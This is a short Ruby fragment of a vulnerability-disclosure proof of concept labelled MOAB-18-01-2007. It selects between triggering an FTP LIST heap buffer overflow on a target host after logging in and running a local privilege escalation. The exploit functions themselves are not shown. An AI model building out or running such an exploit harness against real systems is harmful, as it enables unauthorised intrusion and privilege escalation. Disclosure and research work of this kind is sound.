#!/usr/bin/ruby
# Copyright (c) Lance M. Havok <lmh [at] info-pull.com>
# Kevin Finisterre <kf_lists [at] digitalmunition.com>
#
# Proof of concept for issues described in MOAB-18-01-2007.
case bugselected
when 0
puts "++ FTP LIST heap buffer overflow..."
Net::FTP.open(target_host) do |ftp|
ftp.login("#{target_user}","#{target_pass}")
list_bug(ftp)
end
when 1
puts "++ Local privilege escalation..."
local_priv_escalation()
end
.